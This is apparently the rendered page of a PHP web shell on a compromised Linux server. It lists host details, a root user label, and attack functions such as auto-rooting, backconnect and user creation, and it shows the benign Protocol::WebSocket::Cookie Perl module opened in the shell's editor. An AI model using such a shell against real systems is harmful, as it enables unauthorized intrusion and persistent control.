Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
webmin /
vendor_perl /
Protocol /
WebSocket /
[ HOME SHELL ]
Name
Size
Permission
Action
Cookie
[ DIR ]
drwxr-xr-x
Handshake
[ DIR ]
drwxr-xr-x
Client.pm
3.52
KB
-rw-r--r--
Cookie.pm
1.64
KB
-rw-r--r--
Frame.pm
10.81
KB
-rw-r--r--
Handshake.pm
1.09
KB
-rw-r--r--
Message.pm
4.65
KB
-rw-r--r--
Request.pm
12.95
KB
-rw-r--r--
Response.pm
8.24
KB
-rw-r--r--
Stateful.pm
795
B
-rw-r--r--
URL.pm
2.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Cookie.pm
package Protocol::WebSocket::Cookie; use strict; use warnings; sub new { my $class = shift; $class = ref $class if ref $class; my $self = {@_}; bless $self, $class; return $self; } sub pairs { @_ > 1 ? $_[0]->{pairs} = $_[1] : $_[0]->{pairs} } my $TOKEN = qr/[^;,\s"]+/; my $NAME = qr/[^;,\s"=]+/; my $QUOTED_STRING = qr/"(?:\\"|[^"])+"/; my $VALUE = qr/(?:$TOKEN|$QUOTED_STRING)/; sub parse { my $self = shift; my $string = shift; $self->{pairs} = []; return unless defined $string && $string ne ''; while ($string =~ m/\s*($NAME)\s*(?:=\s*($VALUE))?;?/g) { my ($attr, $value) = ($1, $2); if (defined $value) { $value =~ s/^"//; $value =~ s/"$//; $value =~ s/\\"/"/g; } push @{$self->{pairs}}, [$attr, $value]; } return $self; } sub to_string { my $self = shift; my $string = ''; my @pairs; foreach my $pair (@{$self->pairs}) { my $string = ''; $string .= $pair->[0]; if (defined $pair->[1]) { $string .= '='; $string .= $pair->[1] !~ m/^$VALUE$/ ? "\"$pair->[1]\"" : $pair->[1]; } push @pairs, $string; } return join '; ' => @pairs; } 1; __END__ =head1 NAME Protocol::WebSocket::Cookie - Base class for WebSocket cookies =head1 DESCRIPTION A base class for L<Protocol::WebSocket::Cookie::Request> and L<Protocol::WebSocket::Cookie::Response>. =head1 ATTRIBUTES =head2 C<pairs> =head1 METHODS =head2 C<new> Create a new L<Protocol::WebSocket::Cookie> instance. =head2 C<parse> =head2 C<to_string> =cut
Close